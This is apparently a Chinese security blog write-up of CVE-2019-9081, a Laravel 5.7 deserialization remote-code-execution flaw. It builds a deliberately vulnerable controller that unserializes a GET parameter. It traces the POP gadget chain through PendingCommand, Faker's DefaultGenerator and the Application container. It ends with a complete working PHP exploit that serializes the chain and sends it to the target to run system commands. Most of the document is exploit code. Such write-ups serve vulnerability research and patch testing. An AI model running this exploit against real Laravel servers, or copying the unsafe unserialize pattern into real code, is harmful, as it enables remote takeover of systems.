Laravel5.7 反序列化漏洞RCE链CVE-2019-9081
Laravel5.7 反序列化漏洞RCE链CVE-2019-9081
漏洞环境
composer下载环境源码
composer create-project laravel/laravel laravel57 "5.7.*"
添加一条访问漏洞的路由
// /var/www/html/laravel57/routes/web.php
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>
再添加一条DemoController控制器,也就是漏洞环境
// /var/www/html/laravel57/app/Http/Controllers/DemoController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.7";
}
}
漏洞链挖掘
影响版本:Laravel v5.7
漏洞核心:Illuminate/Foundation/Testing/PendingCommand
类中的__destruct
方法中调用了run
方法。run
方法是用来执行命令的,所以要找到对应的POP链来完成RCE。
首先先留意一下这几个重要的属性
在上面的注释中也写明了每个参数是什么。
进入run
后,首先我们跟进mockConsoleOutput
函数
重点在166行这里,这里有一个可控的test,test有一个可控的属性,这里可以触发任意类的__get
方法,于是找一个返回值可控的__get
方法。
随便找一个,这里找到了Faker/DefaultGenerator
类中的__get
方法。它的返回值是可控的。
先写一个脚本验证一下是否可以进到__get
函数且返回任意值
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
public function __construct($test,$app,$command,$parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default)
{
$this->default=$default;
}
}
}
namespace Illuminate\Foundation{
class Application{
public function __construct()
{
}
}
}
namespace{
$DefaultGenerator=new Faker\DefaultGenerator(array("1" => "1"));
$Application=new Illuminate\Foundation\Application(array("1" => "1"));
$PendingCommand=new Illuminate\Foundation\Testing\PendingCommand($DefaultGenerator,$Application,"system",array("ls"));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://laravel57/index.php/test?c=".urlencode(serialize($PendingCommand)),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 3,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "GET",
CURLOPT_POSTFIELDS => "",
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}
?>
发现已经成功进入该__get
方法且返回了任意值。
但是接下来执行的时候会抛出异常。
因为代码写成了一行,不利于调试,因此我们把变量单独拿出来分析一下。
在前面添加两行代码
$kclass = Kernel::class;
$app = $this->app[Kernel::class];
这样在调试的时候就能清楚地看见这里面的变量是如何操作的了。
首先$kclass
的值为Illuminate\Contracts\Console\Kernel
而在执行$app = $this->app[Kernel::class];
时会报错。于是我们跟进Application
类。
看看这个类是如何返回的。
最终跟踪到了这里,该返回值最终赋值给了$this->app[Kernel::class]
,然后再调用了其中的call
方法。所以我们看看哪里的call
方法可以用的。
我们先看看Application
类里的call
方法是怎么调用的,顺便打个断点
这里Application
里没有call
方法,根进Container
类
发现用的是BoundMethod
类里的call方法。
继续跟进,出现了关键函数call_user_func_array
且参数都可控,继续跟进getMethodDependencies
发现最终返回的是array_merge($dependencies, $parameters);
$parameters
可控,于是返回参数可控,可以RCE
于是就很清楚了,控制return $this->instances[$abstract];
的返回值为Application
类,调用Application
类中的方法达成RCE。
因此控制instances['Illuminate\Contracts\Console\Kernel']
为Application
类
完整EXP
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
public function __construct($test,$app,$command,$parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default)
{
$this->default=$default;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances=[];
public function __construct($instances=[])
{
$this->instances['Illuminate\Contracts\Console\Kernel']=$instances;
}
}
}
namespace{
$DefaultGenerator=new Faker\DefaultGenerator(array("1" => "1"));
$app = new Illuminate\Foundation\Application();
$Application=new Illuminate\Foundation\Application($app);
$PendingCommand=new Illuminate\Foundation\Testing\PendingCommand($DefaultGenerator,$Application,"system",array("dir"));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://laravel57/index.php/test?c=".urlencode(serialize($PendingCommand)),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 3,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "GET",
CURLOPT_POSTFIELDS => "",
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}
?>
http://zeroyu.xyz/2020/06/04/Code-breaking-Puzzles-2018-Note/#0x06-lumenserial